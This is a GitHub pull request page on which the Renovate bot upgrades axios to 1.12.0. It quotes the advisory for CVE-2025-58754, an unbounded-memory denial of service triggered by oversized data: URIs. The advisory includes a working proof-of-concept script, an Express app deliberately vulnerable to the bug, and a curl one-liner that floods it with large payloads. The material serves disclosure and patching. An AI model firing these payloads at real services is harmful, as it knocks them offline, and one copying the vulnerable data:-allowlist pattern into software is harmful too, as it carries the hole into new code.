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@renovate renovate bot commented Sep 14, 2025

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.11.0 -> 1.12.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.


Release Notes

axios/axios (axios)

v1.12.0

Compare Source

Bug Fixes
Features
  • adapter: surface low‑level network error details; attach original error via cause (#​6982) (78b290c)
  • fetch: add fetch, Request, Response env config variables for the adapter; (#​7003) (c959ff2)
  • support reviver on JSON.parse (#​5926) (2a97634), closes #​5924
  • types: extend AxiosResponse interface to include custom headers type (#​6782) (7960d34)
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@renovate renovate bot requested a review from yacosta738 as a code owner September 14, 2025 00:25
@renovate renovate bot enabled auto-merge September 14, 2025 00:25
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@renovate renovate bot changed the title fix(deps): update dependency axios to v1.12.0 [security] chore(deps): update dependency axios to v1.12.0 [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 630ec5f to e354ad9 Compare September 25, 2025 16:58
@renovate renovate bot changed the title chore(deps): update dependency axios to v1.12.0 [security] chore(deps): update dependency axios to v1.12.0 [security] - autoclosed Sep 29, 2025
@renovate renovate bot closed this Sep 29, 2025
auto-merge was automatically disabled September 29, 2025 20:40

Pull request was closed

@renovate renovate bot deleted the renovate/npm-axios-vulnerability branch September 29, 2025 20:40
@renovate renovate bot changed the title chore(deps): update dependency axios to v1.12.0 [security] - autoclosed chore(deps): update dependency axios to v1.12.0 [security] Sep 30, 2025
@renovate renovate bot reopened this Sep 30, 2025
@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from f2e7339 to e354ad9 Compare September 30, 2025 19:15
@renovate renovate bot enabled auto-merge September 30, 2025 21:49
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@renovate renovate bot force-pushed the renovate/npm-axios-vulnerability branch from 4b06394 to 54744c8 Compare November 18, 2025 18:49
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